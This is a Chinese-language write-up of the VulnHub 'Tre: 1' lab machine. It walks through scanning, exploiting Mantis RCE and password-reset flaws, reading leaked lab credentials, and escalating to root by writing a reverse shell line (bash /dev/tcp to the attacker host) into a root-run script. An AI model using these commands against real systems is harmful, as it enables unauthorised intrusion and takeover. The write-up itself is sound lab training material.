Tre
一、靶机地址
靶机地址:Tre: 1 ~ VulnHub
攻击方法:
- 主机发现
- 端口扫描
- 信息搜集
- 进阶路径枚举
- EXP代码改造
- 突破边界方法1
- 突破边界方法2
- 突破边界方法3
- 权限提升
二、主机发现
arp-scan -l |
靶机地址为192.168.43.160
三、端口扫描
nmap -p- 192.156.43.150 |
发现靶机开放22,80,8082这三个端口,其中80和8082对应分别是apache和nginx但是跑到内容是相同的
四、目录扫描
访问web页面就是一张图片,两个web端口上的内容是一样的,源代码也十分简单
发现不了更多的信息了,就进行目录扫描
dirsearch -u "http://192.168.43.160/" |
发现一个登录页面,还有401状态的页面,
状态码401表面需要进行身份验证
访问adminer.php页面发现是一个adminer的登录后台
adminer的版本是4.7.7,在kali中搜索使用,发现一个低版本的ssrf
但是我在网上也搜到了一个ssrf适用范围是4.0.0-4.7.9,漏洞编码是cve-2021-21311
,但是我没利用成功
searchsploit adminer |
根据目录扫描结果还有一个info.php,暴露了配置信息
http://192.168.43.160//info.php |
访问401状态码的system目录,尝试admin:admin发现验证成功了
进入之后发现是mantis框架的网站
五、突破边界(三种方式)
5.1、远程代码执行
searchsploit mantis |
在kali中搜索是否存在对应的payload,发现这个cms存在很多漏洞,找了一个版本比较高对应的rce进行尝试
由于状态码是401,室友认证机制的,所以我们拿一下认证信息,便于后面操作
echo "YWRtaW46YWRtaW4=" |base64 -d |
解码发现就是账号和密码
cp /usr/share/exploitdb/exploits/php/webapps/48818.py . # 将利用脚本复制到当前目录下 |
在脚本中将攻击机受害机ip地址更改为我们对应的,将认证信息添加上
执行成功
成功监听到,获取到了shell
5.2、进阶路径扫描
将认证信息添加一下,对401下的system目录进行扫描,
dirsearch -u "http://192.168.43.160/system/" --header="Authorization:Basic YWRtaW46YWRtaW4=" |
在这个新的目录下,扫描出新的路径了
访问config这个路径
在system/config目录下a.txt中发现一对账号密码,还有数据库的相关配置
username=“mantissuser” |
http://192.168.43.160/adminer.php |
在adminer.php中获取到的账号密码以及数据库名填入,发现登录成功
选择用户数据表,使用sql语句查询表中的内容
发现账号密码
tre
Tr3@123456A!
尝试ssh登录,发现登录成功
ssh tre@192.168.43.160 |
5.3、重置密码
同样利用mantis这个cms,发现除了rce漏洞版本比较高,还有一个密码重置漏洞的版本也同样高,尝试利用
searchsploit mantis |
查看漏洞的利用方式
cat /usr/share/exploitdb/exploits/php/webapps/41890.txt |
大概意思就是,访问这个url会直接跳转到密码重置页面
根据上面的描述发现id为1时,对应的是管理员
http://192.168.43.160/system/verify.php?id=1&confirm_hash= |
直接跳转到了密码重置页面,自己随便输一个密码,然后进行登录
在用户管理界面,同样能获得到这两个对账号密码
六、提权
6.1、suid信息获取
随便使一个终端进行提权尝试
sudo -l |
发现shutdown这个关机命令不用使用密码就能执行
6.2、权限异常的文件
搜索文件属组为root,其他用户可以写的文件
find / -type f -perm -o=w -user root -ls 2>/dev/null |
grep -v 过滤相应的信息
经过过滤,就剩下这几个了,看起来最后一个有点陌生,先看最后一个
查看这个文件的权限,发现属于root用户,但是其他用户有读写权限
查看文件的内容
ls -al /usr/bin/check-system |
发现就是脚本,是执行系统命令的
ps-ef |
发现这个脚本是以root权限运行的/bin/bash
将反弹shell的命令写入这个脚本中,根据之前发现shutdown命令可以不用密码执行,于是使用sudo权限执行shutdown命令,重启操作系统,借此运行脚本,进而获取root权限的bash
/bin/bash -i >& /dev/tcp/192.168.43.159/5555 0>&1 # 反弹shell的语句 |
反弹成功
cd /root |